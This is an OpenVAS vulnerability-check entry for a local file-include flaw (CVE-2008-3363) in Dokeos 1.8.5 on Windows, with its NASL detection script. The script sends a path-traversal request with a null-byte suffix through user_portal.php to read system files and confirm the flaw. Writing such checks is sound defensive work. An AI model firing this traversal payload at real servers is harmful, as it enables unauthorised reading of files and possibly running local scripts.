Dokeos 'user_portal.php' Local File Include Vulnerability

2009-04-23T00:00:00
ID OPENVAS:1361412562310100155
Type openvas
Reporter Copyright (C) 2009 Greenbone Networks GmbH
Modified 2020-05-08T00:00:00

Description

Dokeos is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

                                        
                                            ###############################################################################
# OpenVAS Vulnerability Test
#
# Dokeos 'user_portal.php' Local File Include Vulnerability
#
# Authors
# Michael Meyer
#
# Copyright:
# Copyright (c) 2009 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = "cpe:/a:dokeos:dokeos";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100155");
  script_version("2020-05-08T08:34:44+0000");
  script_tag(name:"last_modification", value:"2020-05-08 08:34:44 +0000 (Fri, 08 May 2020)");
  script_tag(name:"creation_date", value:"2009-04-23 21:21:19 +0200 (Thu, 23 Apr 2009)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2008-3363");
  script_bugtraq_id(30150);

  script_tag(name:"solution_type", value:"Workaround");

  script_name("Dokeos 'user_portal.php' Local File Include Vulnerability");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");

  script_family("Web application abuses");
  script_copyright("Copyright (C) 2009 Greenbone Networks GmbH");
  script_dependencies("dokeos_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("dokeos/installed", "Host/runs_windows");

  script_tag(name:"summary", value:"Dokeos is prone to a local file-include vulnerability because it fails to
  properly sanitize user-supplied input.");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability to view local files or
  execute arbitrary local scripts on the vulnerable computer in the context of the webserver process.");

  script_tag(name:"affected", value:"Dokeos 1.8.5 is vulnerable, other versions may also be affected.

  Please note that this issue affects only Dokeos running on Windows.");

  script_tag(name:"solution", value:"The vendor has provided a workaround to mitigate this
  vulnerability. Please see the references for more information.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/30150");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files("windows");
foreach pattern(keys(files)) {

   file = files[pattern];

  url = dir + "/user_portal.php?include=..\..\..\..\..\..\..\..\..\..\..\..\..\" + file + "%00.ht";
  req = http_get(item: url, port: port);
  buf = http_keepalive_send_recv(port: port, data: req, bodyonly: FALSE);
  if(!buf)
    continue;

  if (egrep(pattern:pattern, string: buf)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);